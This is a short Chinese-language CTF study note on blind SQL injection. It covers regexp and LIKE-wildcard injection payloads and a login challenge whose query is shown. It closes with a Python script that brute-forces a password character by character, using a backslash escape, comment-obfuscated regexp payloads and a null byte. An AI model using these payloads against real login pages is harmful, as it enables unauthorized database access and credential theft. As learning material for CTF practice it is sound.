(不过regexp不区分大小写)(坑) 用or password regexp binary {} 或者 or (select binary username from users limit 0,1) regexp '^{}'--+ https://blog.csdn.net/qq_43625917/article/details/105189912 https://blog.csdn.net/qq_36761831/article/details/82862135
like注入
ps:这个是顺带学的 百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。 1.like 's%'判断第一个字符是否为s union select 1,database() like 's%',3 --+ 2.like 'se%'判断前面两个字符串是否为se union select 1,database() like 'se%',3 --+ 3.like '%sq%' 判断是否包含se两个字符串 union select 1,database() like '%se%',3 --+ 4.like '_____'判断是否为5个字符 union select 1,database() like '_____',3 --+ 5.like 's____' 判断第一个字符是否为s union select 1,database() like 's____',3 --+
适用情况
过滤了like,in,=
题目
打开是一个登录页面,还有弹窗和甩脸上的SQL语句。
select * from users where username=’’ and passwd=’’
for n inrange(100): for m in string: data = { "username": "\\", "passwd": "||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd + m), parse.unquote('%00')) # parse.unquote('%00')和quote ()相反,将转义符替换为原本的字符,比如会把" %3A "转义为": "。 # 'passwd': '||/**/passwd/**/regexp/**/"^{}";\x00'.format((pw + i))
} res = requests.post(url, data=data) if'welcome'in res.text: passwd += m print(passwd) break if m == '_'and'welcome'notin res.text: break print(passwd)